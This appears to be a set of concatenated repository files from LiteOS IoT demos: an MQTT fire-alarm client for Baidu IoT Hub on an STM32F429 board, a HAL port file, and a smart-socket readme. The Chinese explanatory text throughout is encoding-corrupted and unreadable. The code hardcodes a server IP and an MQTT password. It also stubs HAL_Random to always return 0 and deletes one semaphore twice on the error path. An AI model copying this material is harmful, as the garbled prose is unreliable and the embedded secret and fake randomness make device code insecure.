Hubๅนณๅฐ๏ผŒๆจกๆ‹Ÿ็ปˆ็ซฏๅ‘ๅนณๅฐๅ‘้€ๆŠฅ่ญฆๆ•ฐๆฎ๏ผŒๅ‘้€่ฟžๆŽฅไฟๆŒ็š„ๅฟƒ่ทณๆ•ฐๆฎ๏ผŒๆŽฅๆ”ถไปŽไบ‘ๅนณๅฐไธ‹ๅ‘็š„ๆŽงๅˆถๆŠฅ่ญฆๅœๆญข็š„ๅ‘ฝไปค > * ้€š่ฟ‡ๆŒ‰ไธ‹ๆŒ‰้”ฎK1ๆฅๅผ€ๅฏ/ๆ–ญๅผ€็ปˆ็ซฏไธŽไบ‘ๅนณๅฐ็š„่ฟžๆŽฅ๏ผŒ้€š่ฟ‡ๆŒ‰ไธ‹ๆŒ‰้”ฎK2ๆฅๅผ€ๅง‹/ๅœๆญขๅ‘้€ๆŠฅ่ญฆไฟกๆฏๅˆฐๅนณๅฐ๏ผŒๅฝ“่ฎพๅค‡ๅค„ไบŽๆŠฅ่ญฆ็Šถๆ€ๆ—ถ๏ผŒๅฏ้€š่ฟ‡MQTTๅฎขๆˆท็ซฏๆจกๆ‹Ÿๅบ”็”จๆœๅŠกๅ™จ็ป™ไบ‘ๅนณๅฐไธ‹ๅ‘ๅœๆญขๅ‘้€ๆŠฅ่ญฆ็š„ๅ‘ฝไปค > * ็ปˆ็ซฏๅค„ไบŽไฟๆŒ่ฟžๆŽฅ็Šถๆ€ๆ—ถK1ไธŠๆ–น็ปฟ็ฏไบฎ่ตท๏ผŒๅค„ไบŽๆ–ญๅผ€่ฟžๆŽฅ็Šถๆ€ๆ—ถK1ไธŠๆ–น็š„็บข็ฏไบฎ่ตท๏ผŒ็ปˆ็ซฏๅค„ไบŽๅ‘้€ๆŠฅ่ญฆไฟกๆฏ็š„็Šถๆ€๏ผŒ็ปˆ็ซฏๆฏๆฌกๅ‘้€ๆŠฅ่ญฆๆ•ฐๆฎๆ—ถF429ๆ ธๅฟƒๆฟไธŠ้ข็š„ๅฐled๏ผˆ่“่‰ฒ๏ผ‰้—ช็ƒไธ€ๆฌก๏ผŒๆฏ้š”8็ง’ๅทฆๅณๅ‘้€ไธ€ๆฌกๆŠฅ่ญฆๆ•ฐๆฎ๏ผŒๅฏ้€š่ฟ‡ๆŒ‰้”ฎK2ๆˆ–ไบ‘ๅนณๅฐไธ‹ๅ‘ๆŽงๅˆถๅ‘ฝไปคๅ–ๆถˆๆŠฅ่ญฆ > * ็ปˆ็ซฏไธŽไบ‘ๆœๅŠกๅ™จ้€šไฟก่ฟ‡็จ‹ๅฏ้€š่ฟ‡ๆฟ่ฝฝ็š„ไธฒๅฃ1่พ“ๅ‡บๆ‰“ๅฐไฟกๆฏ่ฟ›่กŒๆŸฅ็œ‹ ๏ผˆ2๏ผ‰ๆŽฅๅ…ฅ่ฏดๆ˜Ž > * ็ฌฌไธ‰ๆ–นไบ‘ๅนณๅฐ๏ผš็™พๅบฆไบ‘ โ€”โ€” ็‰ฉๆŽฅๅ…ฅIoT Hub > * ๆŽฅๅ…ฅๅ่ฎฎ๏ผšTCP+MQTT > * ๆŽฅๅ…ฅๆ–นๅผ๏ผšEthernet(Lwip) > * ๅŠŸ่ƒฝๆžถๆž„๏ผšๆ•ฐๆฎๆตๅ‘+ๅบ”็”จๅŠŸ่ƒฝ ๆ•ฐๆฎๆตๅ‘๏ผš็ปˆ็ซฏ(F429ๆจกๆ‹Ÿ)<---->ไบ‘ๅนณๅฐ(็™พๅบฆไบ‘)<---->ๅบ”็”จๅนณๅฐ(MQTTๅฎขๆˆท็ซฏๆจกๆ‹Ÿ) ๅบ”็”จๅŠŸ่ƒฝ๏ผš > 1. ็ปˆ็ซฏๆ–ญๅผ€ไธŽ่ฟžๆŽฅไบ‘ๅนณๅฐ > 2. ็ปˆ็ซฏๅ‘้€ๆŠฅ่ญฆๆ•ฐๆฎๅˆฐไบ‘ๅนณๅฐ > 3. ็ปˆ็ซฏไปŽไบ‘ๅนณๅฐๆŽฅๆ”ถๅœๆญขๆŠฅ่ญฆๅ‘ฝไปค ๏ผˆ3๏ผ‰็‰ฉๆŽฅๅ…ฅIoT Hub็ฎ€ไป‹ > ็‰ฉๆŽฅๅ…ฅIoT Hub ๆ˜ฏๅ…จๆ‰˜็ฎก็š„ไบ‘ๆœๅŠก๏ผŒ้€š่ฟ‡ไธปๆต็š„็‰ฉ่”็ฝ‘ๅ่ฎฎ๏ผˆๅฆ‚MQTT๏ผ‰้€š่ฎฏ๏ผŒๅฏไปฅๅœจๆ™บ่ƒฝ่ฎพๅค‡ไธŽไบ‘็ซฏไน‹้—ดๅปบ็ซ‹ๅฎ‰ๅ…จ็š„ๅŒๅ‘่ฟžๆŽฅ๏ผŒๅฟซ้€Ÿๅฎž็Žฐ็‰ฉ่”็ฝ‘้กน็›ฎใ€‚ ๆ”ฏๆŒไบฟ็บงๅนถๅ‘่ฟžๆŽฅๅ’Œๆถˆๆฏๆ•ฐ๏ผŒๅปบ็ซ‹ๆตท้‡่ฎพๅค‡ไธŽไบ‘็ซฏๅฎ‰ๅ…จๅฏ้ ็š„ๅŒๅ‘่ฟžๆŽฅ๏ผŒๆ— ็ผๅฏนๆŽฅๅคฉๅทฅๅนณๅฐๅ’Œ็™พๅบฆไบ‘็š„ๅ„้กนไบงๅ“ๅ’ŒๆœๅŠกใ€‚ 2ใ€็กฌไปถๆ–นๆกˆ ----------- ๆœฌๆฌก้กน็›ฎ็กฌไปถ้‡‡็”จไบ†ๅŽไธบๅฎ˜ๆ–นๆไพ›็š„F429ๅผ€ๅ‘ๆฟ๏ผŒ้€š่ฟ‡ๆฟ่ฝฝๆŒ‰้”ฎๆจกๆ‹ŸๆŠฅ่ญฆ่พ“ๅ…ฅไฟกๅท๏ผŒ่พ“ๅ‡บไฝฟ็”จไบ†ๆฟ่ฝฝled๏ผŒไธฒๅฃ๏ผŒๅ’ŒRJ45็ฝ‘ๅฃใ€‚ 3ใ€่ฝฏไปถๆ–นๆกˆ ----------- * ่ฝฏไปถๆ•ดไฝ“ๆžถๆž„๏ผš้ฉฑๅŠจๅฑ‚+็ณป็ปŸๅฑ‚+็ฝ‘็ปœๅฑ‚+ๅบ”็”จๅฑ‚ * ้ฉฑๅŠจๅฑ‚๏ผšstm32f4ๅฎ˜ๆ–น้ฉฑๅŠจๅบ“ๆ–‡ไปถ+ๆฟ่ฝฝๅค–่ฎพ้ฉฑๅŠจๆ–‡ไปถ(LED/KEY/UART/ETH/TIMER) * ็ณป็ปŸๅฑ‚๏ผšLiteOS็ณป็ปŸๆ–‡ไปถ * ็ฝ‘็ปœๅฑ‚๏ผšไผ ่พ“ๅฑ‚(Lwip)ๆ–‡ไปถ+ๅบ”็”จๅฑ‚(MQTT)ๆ–‡ไปถ๏ผŒๅˆ†ไธบ็ฝ‘็ปœๅˆๅง‹ๅŒ–ใ€็ฝ‘็ปœ่ฟžๆŽฅใ€็ฝ‘็ปœๆ–ญๅผ€ใ€็ฝ‘็ปœ็Šถๆ€๏ผŒๅ‘้€็ฝ‘็ปœๆ•ฐๆฎใ€ๆŽฅๆ”ถ็ฝ‘็ปœๆ•ฐๆฎๅ‡ ไธชๅŠŸ่ƒฝๆจกๅ— * ๅบ”็”จๅฑ‚๏ผšๆ™บๆ…งๆถˆ้˜ฒๅŠŸ่ƒฝๆผ”็คบๆ–‡ไปถ๏ผŒไธป่ฆๅˆ†ไธบ่ฟžๆŽฅๅบ”็”จๆœๅŠกๅ™จใ€ๆ–ญๅผ€ๅบ”็”จๆœๅŠกๅ™จใ€ๅ‘้€ๆŠฅ่ญฆๆ•ฐๆฎๅˆฐๅบ”็”จๆœๅŠกๅ™จใ€ไปŽๅบ”็”จๆœๅŠกๅ™จๆŽฅๆ”ถๆŽงๅˆถๅ‘ฝไปคๅ‡ ไธชๆจกๅ— ไธ‰ใ€ๆŽฅๅ…ฅ็ฌฌไธ‰ๆ–นไบ‘ๅนณๅฐ ==================== * [็™พๅบฆไบ‘ โ€”โ€” ็‰ฉๆŽฅๅ…ฅIoT Hub ่ฏฆๆƒ…](https://cloud.baidu.com/doc/IOT/ProductDescription.html) ๅ››ใ€ๅ…ณ้”ฎๆบไปฃ็ ่งฃๆž ================== 1ใ€็จ‹ๅบๆ–‡ไปถไป‹็ป --------------- ``` arch arm็š„cortexๆžถๆž„็›ธๅ…ณ็š„ๆ–‡ไปถ drivers ่Šฏ็‰‡็›ธๅ…ณ้ฉฑๅŠจๆ–‡ไปถ๏ผŒๆฟ่ฝฝ็›ธๅ…ณๅค–่ฎพ้ฉฑๅŠจๆ–‡ไปถ kernel LiteOS็ณป็ปŸ็›ธๅ…ณๆ ธๅฟƒๆ–‡ไปถ lwip lwipๅ่ฎฎๆ ˆ็›ธๅ…ณๆ ธๅฟƒๆ–‡ไปถ mqtt MQTTๅบ”็”จๅ่ฎฎ็›ธๅ…ณๆ ธๅฟƒๆ–‡ไปถ baidu ็”จๆˆทๅบ”็”จ็›ธๅ…ณไปฃ็  targets ็›ฎๆ ‡ๆฟ็›ธๅ…ณ็š„็คบไพ‹ๅทฅ็จ‹ ``` 2ใ€็จ‹ๅบไธปๅ‡ฝๆ•ฐ่ฏดๆ˜Ž ----------------- 1. ๅ†…ๆ ธๅˆๅง‹ๅŒ–ใ€็กฌไปถๅˆๅง‹ๅŒ–ใ€ๅ่ฎฎๆ ˆๅˆๅง‹ๅŒ– 2. ๅˆ›ๅปบไบŒไธชไปปๅŠก๏ผšๆŒ‰้”ฎๅค„็†ไปปๅŠก๏ผŒLwipๅ่ฎฎๆ ˆ่ฝฎ่ฏขๅค„็†ไปปๅŠก 3. ้€š่ฟ‡ๆŒ‰้”ฎๅค„็†ไปปๅŠกๅˆ›ๅปบ4ไธชไปปๅŠก๏ผšๆŽฅๆ”ถๅบ”็”จๆ•ฐๆฎไปปๅŠก๏ผŒๅ‘ๅธƒไธป้ข˜ไปปๅŠก๏ผŒไฟๆŒ็ฝ‘็ปœ่ฟžๆŽฅไปปๅŠก๏ผŒ่ฎข้˜…ไธป้ข˜ไปปๅŠก 3ใ€ๅ…ณ้”ฎไปฃ็ ่ฏดๆ˜Ž --------------- > ๏ผˆ1๏ผ‰ๆŒ‰้”ฎๅค„็†ไปปๅŠก๏ผŒๆŒ‰ไธ‹K1ๆ—ถ๏ผŒ็ปˆ็ซฏ่ฟžๆŽฅMQTTๆœๅŠกๅ™จ๏ผŒ่ฟžๆŽฅๆˆๅŠŸ็ปฟ็ฏไบฎ่ตท๏ผŒ่ฟžๆŽฅๅคฑ่ดฅ็บข็ฏไบฎ่ตท๏ผ›ๅค„ไบŽ่ฟžๆŽฅ็Šถๆ€ๆ—ถๅ†ๆฌกๆŒ‰ไธ‹K1๏ผŒๆ–ญๅผ€็ปˆ็ซฏไธŽMQTTๆœๅŠกๅ™จ็š„่ฟžๆŽฅ,็ปฟ็ฏๅ˜็บข็ฏ๏ผ›ๆŒ‰ไธ‹K2ๆ—ถ๏ผŒ็ปˆ็ซฏๅผ€ๅง‹ๆฏ้š”8็ง’ๅ‘้€ๆŠฅ่ญฆๆ•ฐๆฎ็ป™MQTTๆœๅŠกๅ™จ๏ผŒๆ ธๅฟƒๆฟไธŠ้ข็š„่“่‰ฒled้—ช็ƒไธ€ๆฌก๏ผŒๅ†ๆฌกๆŒ‰ไธ‹K2๏ผŒๅœๆญขๅ‘้€ๆŠฅ่ญฆๆ•ฐๆฎ๏ผŒๅœจๅค„ไบŽๆŠฅ่ญฆ็Šถๆ€ไธ‹ๆ—ถๅฏ้€š่ฟ‡MQTTๅฎขๆˆท็ซฏๅ‘้€ๆŽงๅˆถๆŒ‡ไปค็ป™ไบ‘ๅนณๅฐ๏ผŒไบ‘ๅนณๅฐๅฐ†ๆŽงๅˆถๆŒ‡ไปคไธ‹ๅ‘็ป™็ปˆ็ซฏ๏ผŒ็ปˆ็ซฏๅœๆญขๆŠฅ่ญฆ ``` VOID key_task(VOID) { while(1) { Key_RefreshState(&Key1); Key_RefreshState(&Key2); if(Key_AccessTimes(&Key1,KEY_ACCESS_READ)!=0) { if(mqtt_server_connstatus==0) { if (EthLinkStatus == 0) { connect_mqtt_server(); } } else { disconnect_mqtt_server(); } Key_AccessTimes(&Key1,KEY_ACCESS_WRITE_CLEAR); } if(Key_AccessTimes(&Key2,KEY_ACCESS_READ)!=0) { if(mqtt_send_alarm_flg) { PRINTF_DBG("\r\n mqtt client stop send alarm message !!!"); mqtt_send_alarm_flg = 0; } else if(mqtt_send_alarm_flg==0) { PRINTF_DBG("\r\n mqtt client start send alarm message !!!"); mqtt_send_alarm_flg = 1; } Key_AccessTimes(&Key2,KEY_ACCESS_WRITE_CLEAR); } } } ``` > ๏ผˆ2๏ผ‰่ฝฎ่ฏขๅค„็†lwipๅ่ฎฎๆ ˆ็›ธๅ…ณ็š„ไปปๅŠก๏ผŒๅŒ…ๆ‹ฌไบ†ๅ่ฎฎๆ ˆ็š„ๅˆๅง‹ๅŒ–๏ผŒๅ‘้€ๆ•ฐๆฎ๏ผŒๆŽฅๆ”ถๆ•ฐๆฎ ``` VOID lwip_poll_task(VOID) { LwipAppInit(); while(1) { /* check if any packet received */ if (ETH_CheckFrameReceived()) { /* process received ethernet packet */ LwIP_Pkt_Handle(); } /* handle periodic timers for LwIP */ LwIP_Periodic_Handle(LocalTime); } } ``` > ๏ผˆ3๏ผ‰MQTT่ฟžๆŽฅ็š„็›ฎ็š„IPๅ’ŒPORT ``` #define DEST_IP_ADDR0 163 #define DEST_IP_ADDR1 177 #define DEST_IP_ADDR2 150 #define DEST_IP_ADDR3 11 #define DEST_PORT 1883 ``` > ๏ผˆ4๏ผ‰่ฟžๆŽฅMQTTๆœๅŠกๅ™จ็š„้…็ฝฎๅ‚ๆ•ฐ ``` #define MQTT_CLIENT_ID "tbs_n110_001" #define KEEPALIVE_INTERVAL 60 #define MQTT_CLIENT_USER_NAME "tbs_n110/tbs_n110_001" #define MQTT_CLIENT_PASSWORD "nu/005K89vIWmbqmP9+V4h7k2GeofYtvZF3o9JT/X8o=" #define MQTT_CLIENT_SUBTOPIC "topic02" #define MQTT_CLIENT_PUBTOPIC "topic01" ``` > ๏ผˆ5๏ผ‰่ฟžๆŽฅMQTTๆœๅŠกๅ™จ ``` void connect_mqtt_server(void) { MQTTPacket_connectData data = MQTTPacket_connectData_initializer; unsigned char buf[BUF_SIZE]; int buflen = sizeof(buf); int len = 0; UINT32 uwRet1; UINT32 uwRet2; data.clientID.cstring = MQTT_CLIENT_ID; data.keepAliveInterval = KEEPALIVE_INTERVAL; data.cleansession = 1; data.username.cstring = MQTT_CLIENT_USER_NAME; data.password.cstring = MQTT_CLIENT_PASSWORD; clear_rec_buf(); LOS_SemCreate(0,&g_usGetNetStatusSemID); transport_open(); uwRet1 = LOS_SemPend(g_usGetNetStatusSemID,3000); if(uwRet1 == LOS_OK) { PRINTF_DBG("\r\n connect to tcp server success !!!"); len = MQTTSerialize_connect(buf, buflen, &data); LOS_SemCreate(0,&g_usGetNetDataSemID); transport_sendPacketBuffer(buf, len); uwRet2 = LOS_SemPend(g_usGetNetDataSemID,3000); if(uwRet2 == LOS_OK) { /* wait for connack */ if (MQTTPacket_read(buf, buflen, transport_getdata) == CONNACK) { unsigned char sessionPresent, connack_rc; if (MQTTDeserialize_connack(&sessionPresent, &connack_rc, buf, buflen) != 1 || connack_rc != 0) { PRINTF_DBG("Unable to connect, return code %d\n", connack_rc); goto exit; } LED2_ON; mqtt_server_connstatus = 1; PRINTF_DBG("\r\n connect to mqtt server success !!!"); clear_rec_buf(); LOS_SemDelete(g_usGetNetStatusSemID); LOS_SemDelete(g_usGetNetDataSemID); //receive subscribe topic message creat_rec_mqtt_message_task(); //subscribe the toppic creat_mqtt_client_subtopic_task(); //send ping message to mqtt server creat_send_mqtt_ping_taask(); //send mqtt alarm to mqtt server creat_send_alarm_task(); return ; } else { PRINTF_DBG("\r\n no receive mqtt server connack !!!"); goto exit; } } if(uwRet2 == LOS_ERRNO_SEM_TIMEOUT) { PRINTF_DBG("\r\n connect to mqtt server timeout !!!"); exit: clear_rec_buf(); LOS_SemDelete(g_usGetNetStatusSemID); LOS_SemDelete(g_usGetNetStatusSemID); transport_close(); } } if(uwRet1 == LOS_ERRNO_SEM_TIMEOUT) { PRINTF_DBG("\r\n connect to tcp server timeout !!!"); LOS_SemDelete(g_usGetNetStatusSemID); } } ``` 4ใ€ไธŠไผ ๆ•ฐๆฎไปฃ็ ่ฏฆ่งฃ ------------------- > * ๅ‘้€ไธป้ข˜ๆถˆๆฏ็ป™MQTTๆœๅŠกๅ™จ ``` void mqtt_client_pubtopic(void) { unsigned char buf[BUF_SIZE]; int buflen = sizeof(buf); int len = 0; MQTTString topicString = MQTTString_initializer; unsigned char payload[] = "send the alarm"; topicString.cstring = MQTT_CLIENT_PUBTOPIC; len = MQTTSerialize_publish(buf, buflen, 0, 0, 0, 0, topicString, payload, sizeof(payload)); transport_sendPacketBuffer(buf, len); PRINTF_DBG("\r\n publish the topic message"); } void send_alarm_task(void) { while(1) { if(mqtt_send_alarm_flg) { if(mqtt_server_connstatus == 0) { PRINTF_DBG("\r\n mqtt server no connect,publish the topic message fail !!!"); } else { // start send alarm message LED4_ON; LOS_TaskDelay(1000); LED4_OFF; mqtt_client_pubtopic(); } LOS_TaskDelay(7000); } } } ``` 3ใ€ไธ‹ๅ‘ๅ‘ฝไปคไปฃ็ ่ฏฆ่งฃ ------------------- > * ไปŽMQTTๆœๅŠกๅ™จๆŽฅๆ”ถไธ‹่กŒๆ•ฐๆฎ ``` //receive subscribe topic message void rec_subscribed_topic_message(void) { unsigned char buf[BUF_SIZE]; int buflen = sizeof(buf); while(1) { if(tcp_is_received()) { int RetVal = MQTTPacket_read(buf, buflen, transport_getdata); if ( RetVal== PUBLISH) { unsigned char dup; int qos; unsigned char retained; unsigned short msgid; int payloadlen_in; unsigned char* payload_in; MQTTString receivedTopic; MQTTDeserialize_publish(&dup, &qos, &retained, &msgid, &receivedTopic, &payload_in, &payloadlen_in, buf, buflen); PRINTF_DBG("\r\n topic message arrived from mqtt server\n"); PRINTF_DBG("\r\n the topic name: %s\n", MQTT_CLIENT_SUBTOPIC); PRINTF_DBG("\r\n topic message: %.*s\n", payloadlen_in, payload_in); if(strstr((const char *)payload_in,"close the alarm")) { PRINTF_DBG("\r\n close the alarm"); mqtt_send_alarm_flg = 0; } } if(RetVal== PINGRESP) { LOS_SemPost(g_usWaitPingRspSemID); } if(RetVal== SUBACK) { unsigned short submsgid; int subcount; int granted_qos; MQTTDeserialize_suback(&submsgid, 1, &subcount, &granted_qos, buf, buflen); if (granted_qos != 0) { PRINTF_DBG("granted qos != 0, %d\n", granted_qos); } else { LOS_SemPost(g_usWaitSubAckSemID); } } clear_rec_buf(); } } } UINT32 creat_rec_mqtt_message_task(void) { UINT32 uwRet = LOS_OK; TSK_INIT_PARAM_S task_init_param; task_init_param.usTaskPrio = 0; task_init_param.pcName = "rec_topic_message_task"; task_init_param.pfnTaskEntry = (TSK_ENTRY_FUNC)rec_subscribed_topic_message; task_init_param.uwStackSize = 0x400; uwRet = LOS_TaskCreate(&g_RecTopicMsgTskHandle, &task_init_param); if(LOS_OK != uwRet) { return uwRet; } return uwRet; } ``` ไบ”ใ€ไบงๅ“่ฐƒ่ฏ• ============ 1ใ€็กฌไปถ่ฐƒ่ฏ• ----------- * ็”ตๆบ้€‚้…ๅ™จๆ’ๅ…ฅF29ๅผ€ๅ‘ๆฟ็š„็”ตๆบๆŽฅๅฃ * ไธฒๅฃ็บฟ่ฟžๆŽฅF429ๅผ€ๅ‘ๆฟ็š„ไธฒๅฃ1ๅ’ŒPC็ซฏ(115200/8/1) * ็ฝ‘็บฟไธ€็ซฏๆ’ๅ…ฅF429ๅผ€ๅ‘ๆฟ็š„็ฝ‘ๅฃ๏ผŒไธ€็ซฏๆŽฅๅ…ฅ่ทฏ็”ฑๅ™จ็ฝ‘็ปœ๏ผŒๅŠจๆ€่Žทๅ–IP๏ผŒไฟ่ฏ่ทฏ็”ฑๅ™จ่”็ฝ‘ๆญฃๅธธ 2ใ€่ฝฏไปถ่ฐƒ่ฏ• ----------- * ็กฌไปถๆŽฅๅ…ฅๅŽ๏ผŒ้ƒจ็ฝฒไธŠๆœ€ๆ–ฐ็š„็จ‹ๅบ๏ผŒ็„ถๅŽ่ฟ่กŒ * ๆ‰“ๅผ€PCๆœบไธฒๅฃ่ฐƒ่ฏ•ๅŠฉๆ‰‹(115200/8/1/ๆ— ๆ ก้ชŒ)๏ผŒๆŸฅ็œ‹ๅผ€ๅ‘ๆฟ่ฟ่กŒไฟกๆฏ * ๅœจPC็ซฏๆ‰“ๅผ€MQTTๅฎขๆˆท็ซฏ่ฝฏไปถ๏ผŒ่ฟžๆŽฅMQTTๆœๅŠกๅ™จ๏ผˆไบ‘ๅนณๅฐ๏ผ‰๏ผŒ่ฎข้˜…ไธป้ข˜topic01๏ผŒๅผ€ๅ‘ๆฟไผšๅ‘topic01ไธป้ข˜ๅ‘ๅธƒๆถˆๆฏ๏ผ›ๅ‘ไธป้ข˜topic02ๅ‘ๅธƒไธ‹่กŒๆŽงๅˆถๅ‘ฝไปค๏ผŒๅผ€ๅ‘ๆฟไผšๆ”ถๅˆฐtopic02็š„ๆถˆๆฏ * ๆŒ‰ไธ‹ๆŒ‰้”ฎK1๏ผŒๅผ€ๅ‘ๆฟๆŽฅๅ…ฅไบ‘ๅนณๅฐ๏ผŒๆŽฅๅ…ฅๆˆๅŠŸไบฎ็ปฟ็ฏ๏ผŒๅคฑ่ดฅไบฎ็บข็ฏ๏ผŒ่ฟžๆŽฅๅคฑ่ดฅๅฏๅ†ๆฌกๆŒ‰ไธ‹K1ๅฐ่ฏ•้‡ๆ–ฐๆŽฅๅ…ฅ๏ผ›ๆŽฅๅ…ฅๆˆๅŠŸๅŽๆŒ‰ไธ‹K2ๆŒ‰้”ฎ๏ผŒๅผ€ๅ‘ๆฟๅ‘ไธป้ข˜topic01ๅ‘้€ๆŠฅ่ญฆๆถˆๆฏ๏ผŒๆญคๆ—ถ้€š่ฟ‡MQTTๅฎขๆˆท็ซฏๅฏๆ”ถๅˆฐไบ‘ๅนณๅฐๆŽจ้€็š„ๆŠฅ่ญฆไฟกๆฏ๏ผ›้€š่ฟ‡MQTTๅฎขๆˆท็ซฏๅ‘ไธป้ข˜topic02ๅ‘ๅธƒโ€œclose the alarmโ€ๆถˆๆฏ๏ผŒๅœๆญขๅผ€ๅ‘ๆฟๅ‘้€ๆŠฅ่ญฆๆถˆๆฏ๏ผŒไนŸๅฏไปฅ็›ดๆŽฅๅ†ๆฌกๆŒ‰ไธ‹K2ๅœๆญขๆŠฅ่ญฆ๏ผ›ๆต‹่ฏ•ๅฎŒๆˆ๏ผŒๅ†ๆฌกๆŒ‰ไธ‹K1๏ผŒๆ–ญๅผ€ไบ‘ๅนณๅฐไธŽๅผ€ๅ‘ๆฟ็š„่ฟžๆŽฅ ``` HAL_OS_liteos.c ```/* * Copyright (C) 2015-2017 Alibaba Group Holding Limited */ #include <stdio.h> #include <stdlib.h> #include <stdarg.h> #include "include.h" void *HAL_MutexCreate(void) { UINT32 puwMuxHandle; UINT32 ret = LOS_MuxCreate(&puwMuxHandle); if (LOS_OK != ret) { return NULL; } return (void *)(puwMuxHandle+1); } void HAL_MutexDestroy(_IN_ void *mutex) { LOS_MuxDelete((UINT32)mutex-1); } void HAL_MutexLock(_IN_ void *mutex) { LOS_MuxPend((UINT32)mutex-1,LOS_WAIT_FOREVER); } void HAL_MutexUnlock(_IN_ void *mutex) { LOS_MuxPost(((UINT32)mutex)-1); } void *HAL_Malloc(_IN_ uint32_t size) { return (void *)LOS_MemAlloc((VOID *)OS_SYS_MEM_ADDR,size); } void HAL_Free(_IN_ void *ptr) { LOS_MemFree((VOID *)OS_SYS_MEM_ADDR,ptr); } uint64_t HAL_UptimeMs(void) { return LOS_Tick2MS(LOS_TickCountGet()); } void HAL_SleepMs(_IN_ uint32_t ms) { LOS_TaskDelay(ms); } void HAL_Printf(_IN_ const char *fmt, ...) { va_list args; va_start(args, fmt); vprintf(fmt, args); va_end(args); fflush(stdout); } int HAL_GetPartnerID(char pid_str[]) { return NULL; } int HAL_GetModuleID(char mid_str[64]) { memset(mid_str, 0x0, 64); return strlen(mid_str); } void HAL_Srandom(uint32_t seed) { } uint32_t HAL_Random(uint32_t region) { return 0; } int HAL_Snprintf(_IN_ char *str, const int len, const char *fmt, ...) { va_list args; int rc; va_start(args, fmt); rc = vsnprintf(str, len, fmt, args); va_end(args); return rc; } int errno; ``` readme.md ```ไธ€ใ€่ƒŒๆ™ฏๅ’Œไป‹็ป ============== 1ใ€ๅ…ฌๅธ/ๅ›ข้˜Ÿไป‹็ป ---------------- ๏ผˆ1๏ผ‰ๆทฑๅœณๅธ‚ๆ…ง่ง†้€š็ง‘ๆŠ€่‚กไปฝๆœ‰้™ๅ…ฌๅธๆˆ็ซ‹ไบŽ2005ๅนด๏ผŒๆณจๅ†Œ่ต„้‡‘6000ไธ‡ๅ…ƒ๏ผŒๆ˜ฏ้›†็ ”ๅ‘ใ€็”Ÿไบงใ€้”€ๅ”ฎใ€ๆœๅŠกไบŽไธ€ไฝ“็š„ๅคงๅž‹ๅŒ—ๆ–—/GPSไธ“ไธš้ข†ๅŸŸ็ปผๅˆ่ฟ่ฅๆœๅŠกๆไพ›ๅ•†ไน‹ไธ€๏ผŒ้ซ˜ๆ–ฐๆŠ€ๆœฏไผไธš๏ผŒๅŒ่ฝฏ่ฎค่ฏไผไธšใ€‚ ๏ผˆ2๏ผ‰ๆ…ง่ง†้€šไธ“ๆณจไบŽๆ™บ่ƒฝไบค้€š้ข†ๅŸŸ๏ผŒไปฅ่ฝฆ่”็ฝ‘ใ€ไบ‘่ฎก็ฎ—ใ€ๅคงๆ•ฐๆฎๅค„็†ใ€ๆ— ็บฟ้€šไฟกๅ’ŒๅŒ—ๆ–—/GPSๅ…จ็ƒๅฎšไฝๆŠ€ๆœฏไธบๆ ธๅฟƒ๏ผŒ้’ˆๅฏนๅทกๆธธ/็ฝ‘็บฆๅ‡บ็งŸ่ฝฆใ€็‰ฉๆต/ไธคๅฎขไธ€ๅฑใ€ๅ‰่ฃ…ๆ–ฐ่ƒฝๆบใ€้ฉพ้ฉถๅŸน่ฎญใ€ๆฑฝ่ฝฆ็งŸ่ตใ€่ฏ•ไน˜่ฏ•้ฉพ็ญ‰่กŒไธšๆไพ›็ฌฆๅˆๅฎขๆˆท้œ€ๆฑ‚็š„ไบงๅ“ๅ’Œ่งฃๅ†ณๆ–นๆกˆ๏ผŒไธบๅฎขๆˆทๅˆ›้€ ไปทๅ€ผใ€‚ 2ใ€้กน็›ฎไป‹็ป ----------- **้กน็›ฎ็ฎ€ไป‹๏ผš** ๆ™บ่ƒฝๆ’ๅบง้กน็›ฎ๏ผŒๆŠŠไผ ็ปŸๆ’ๅบงๆŽฅๅ…ฅ็ฝ‘็ปœ๏ผŒ่ƒฝๅคŸๅฎž็Žฐ่ฟœ็จ‹ๆŸฅ็œ‹ๆ’ๅบง็Šถๆ€ๅ’Œ่ฎพ็ฝฎ็”ตๆบ็Šถๆ€ใ€‚ ้กน็›ฎๅˆฉ็”จMQTTๅ่ฎฎๆŽฅๅ…ฅ้˜ฟ้‡Œไบ‘ๅนณๅฐ๏ผŒๅฎž็Žฐไบ†่ฟœ็จ‹ๆŽงๅˆถๆ’ๅบง๏ผŒๅตŒๅ…ฅๅผ็ณป็ปŸไธบLiteOS็ณป็ปŸใ€‚็›ฎๅ‰้€š่ฟ‡ๆญค้กน็›ฎๅทฒๆˆๅŠŸๅฏนๆŽฅ้˜ฟ้‡Œไบ‘ๅนณๅฐ๏ผŒไธ‹ไธ€้˜ถๆฎตๅฐ†CAN้‡‡้›†็š„่ฝฆ่พ†ไฟกๆฏ้€š่ฟ‡LiteOs+MQTTๅฏนๆŽฅๆ…ง่ง†้€šไบ‘ๅนณๅฐๅ’Œ้˜ฟ้‡Œไบ‘ๅนณๅฐ๏ผŒไฝฟๅฎขๆˆทๆœ‰ๆ›ดๅคš็š„้€‰ๆ‹ฉใ€‚ ไบŒใ€้กน็›ฎๅ†…ๅฎน ============ 1ใ€ๆ–นๆกˆ่ฏดๆ˜Ž ----------- ๏ผˆ1๏ผ‰ๅŠŸ่ƒฝ่ฏดๆ˜Ž ่ฎพๅค‡ไธŠ็”ต่ฟžๆŽฅ่‡ณ้˜ฟ้‡Œไบ‘ๅนณๅฐ,้€š่ฟ‡ไบ‘ๅนณๅฐๅฏไปฅๆŸฅ็œ‹ๆˆ–่ฎพ็ฝฎๆ’ๅบง็Šถๆ€ใ€‚ ๏ผˆ2๏ผ‰ๆŽฅๅ…ฅ่ฏดๆ˜Ž ็ฝ‘ๅ…ณ่ฎพๅค‡้€š่ฟ‡IOๅฃๆŽงๅˆถ็ปง็”ตๅ™จ็Šถๆ€่ฟ›่€ŒๆŽงๅˆถๆ’็บฟๆฟ็”ตๆบ๏ผŒ็ฝ‘ๅ…ณ่ฎพๅค‡้€š่ฟ‡ไปฅๅคช็ฝ‘ๆŽฅๅ…ฅ้˜ฟ้‡Œไบ‘็‰ฉ่”็ฝ‘ๅนณๅฐใ€‚ ็ฝ‘ๅ…ณๅ’Œ้˜ฟ้‡Œไบ‘็‰ฉ่”็ฝ‘ๅนณๅฐ็š„้€šไฟกๅ่ฎฎไธบMQTT+Alinkใ€‚ 2ใ€็กฌไปถๆ–นๆกˆ ----------- ็ฝ‘ๅ…ณ็›ฎๅ‰้‡‡็”จ็š„ๆ˜ฏ้‡Ž็ซSTM32ๅผ€ๅ‘ๆฟใ€‚ 